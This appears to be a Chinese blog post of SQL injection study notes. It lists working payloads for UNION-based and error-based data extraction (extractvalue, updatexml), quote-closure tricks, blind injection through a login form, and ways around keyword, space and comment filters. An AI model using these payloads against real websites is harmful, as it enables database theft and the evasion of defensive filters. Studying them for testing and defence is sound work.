SQL注入笔记05:利用和绕过

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/ONS_cukuyo/article/details/83022544

1、利用当前页面排版:
    如id=1有数据而id=0无数据,则可构造信息?id=0 union select 1,2,3,user(),version()#

2、利用报错信息:
    1.extractvalue()
    select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

    2.updatexml()
    select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

3、利用闭合绕过'、"、)等,不使用注释符,保持SQL语句完整:
    1、GET:select * from user where id>"$id" order by id DESC limit 0,1;
    ?id=1" union select 1,2,3 where "1"="1 //and "1"="1,and "1也行

    2、POST:select * from user where username="$u" and password="$p";
    username:可使用盲注,admin and length(user())>1 and "1"="1 // and优先级比or高
    password:因为是最后一个参数,所以方法多多,可union、and、or等

4、绕过limit 0,1:
    ?id=0 union select user(),version(),3 union select 1,2,3
    id=0:为空数据,select 1,2,3:用以绕过limit 0,1,看参数情况select 1,2,3可以为select 1,2,'3、"3、('3、("3等

5、绕过or和and屏蔽:
    使用双写oorr、aanndd或者&&、||(URL上使用需转码%26%26、%7c%7c)

6、绕过空格和注释屏蔽
    URL里使用%a0代替空格,使用闭合代替注释
    ?id=0%27%a0union%a0select%a01,group_concat(email_id),3%a0from%a0emails%a0union%a0select(1),2,'3

7、绕过union和select屏蔽
    黑名单:uNion、sElect等等

猜你喜欢

转载自blog.csdn.net/ONS_cukuyo/article/details/83022544
今日推荐